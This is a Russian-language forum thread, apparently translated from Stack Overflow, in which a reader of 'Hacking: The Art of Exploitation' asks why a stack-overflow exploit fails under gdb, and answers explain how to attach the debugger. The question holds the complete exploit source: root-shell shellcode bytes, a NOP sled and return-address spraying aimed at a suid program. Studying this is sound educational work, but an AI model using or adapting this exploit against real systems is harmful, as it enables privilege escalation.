Взлом — искусство эксплуатации: пример отладки переполнения буфера

Читаю книгу "Взлом - искусство эксплуатации". Есть пример переполнения буфера стека.

Это часть исходного кода атакуемой программы notesearch:

char searchstring[100];
// ...
if(argc > 1)                      
    strcpy(searchstring, argv[1]);   // <-- no length check

А вот и источник атакующей программы «exploit_notesearch»:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

   strcat(command, "\'");
   // <-- dumping full command string here
   system(command); // run exploit
   free(command);
}

При запускеexploit_notesearch все работает нормально,получу рут шелл так как программа notesearch имеет права suid. Командная строка содержит имя вызываемой программы, цепочку NOP, шелл-код и обратный адрес для шелл-кода.

Я хочу отладить эксплуатируемую программу с помощью gdb, чтобы увидеть, как именно работает эксплойт. Для этого я выгрузил командную строку (прямо перед вызовом system()) в файл (назовем его dump.txt). Затем из оболочки я попытался получить тот же результат, я вызвал эксплуатируемую программу напрямую с выгруженной командной строкой в ​​качестве аргумента.

подсказка> $(cat dump.txt)

Программа notesearch запустилась, но вместо рут шелла получил segmentation fault. Я также варьировал обратный адрес в очень широком диапазоне с помощью скрипта.

Мой вопрос, в чем разница между:

  • запуск notesearch через оболочку

  • запуск поиска через систему

Возможно, вы также знаете другой способ отладки эксплуатируемой программы через gdb.


person Harry    schedule 13.08.2013    source источник
comment
Почему бы вам не использовать gdb для пошагового выполнения всей программы? Зачем сбрасывать командную строку?   -  person Undefined    schedule 13.08.2013
comment
Есть ли шанс, что вы работаете на машине с защитой от выполнения в стеке и/или вы скомпилировали свой код для 64-битной версии?   -  person Mats Petersson    schedule 14.08.2013
comment
Я попытался войти в дочерний процесс, используя дочерний режим set follow-fork-mode, который не работает с gdb 6.6 (я должен использовать этот gdb, потому что он включен в LIVE CD, поставляемый с книгой). Также пытался добавить sleep() в дочерний элемент, а после разветвления попытался подключиться к PID - не сработало, потому что командная строка в gdb отключена на время сна!? Я использую Live CD со старой версией Ubuntu, которая не использует эти средства защиты. При компиляции в обновленной среде и ОС эксплойт не работает, потому что есть много вещей, таких как ASLR.   -  person Harry    schedule 14.08.2013


Ответы (2)


Заработало: добавлены следующие строки в начало main в программе notesearch, которая спит 45 секунд:

#ifdef MY_DEBUG
printf("child running - sleep()\n");
fflush(stdout);
sleep(45);
printf("child running - sleep() finished\n");
#endif

Затем я запускаю Эксплойт_notesearch, который сам запускает notesearch, который теперь ждет 45 секунд. В другой оболочке я перечисляю все запущенные процессы, чтобы получить PID процесса поиска заметок. Затем я запускаю gdb, подключаюсь к этому процессу и могу наблюдать за эксплойтом в отладчике.

person Harry    schedule 16.08.2013

В exploit_notesearch.c адрес возврата вычислялся со ссылкой на переменную i, объявленную в основной функции exploit_notesearch.c

Таким образом, командная строка теперь содержит адрес возврата по отношению к переменной i. Когда вы выводите командную строку в файл, а затем выполняете ее напрямую с помощью ./notesearch <command>

Этот адрес возврата, вероятно, может относиться к ячейке памяти, которая недоступна для вашей текущей программы поиска заметок, отсюда и ошибка seg.

person user127167    schedule 17.06.2021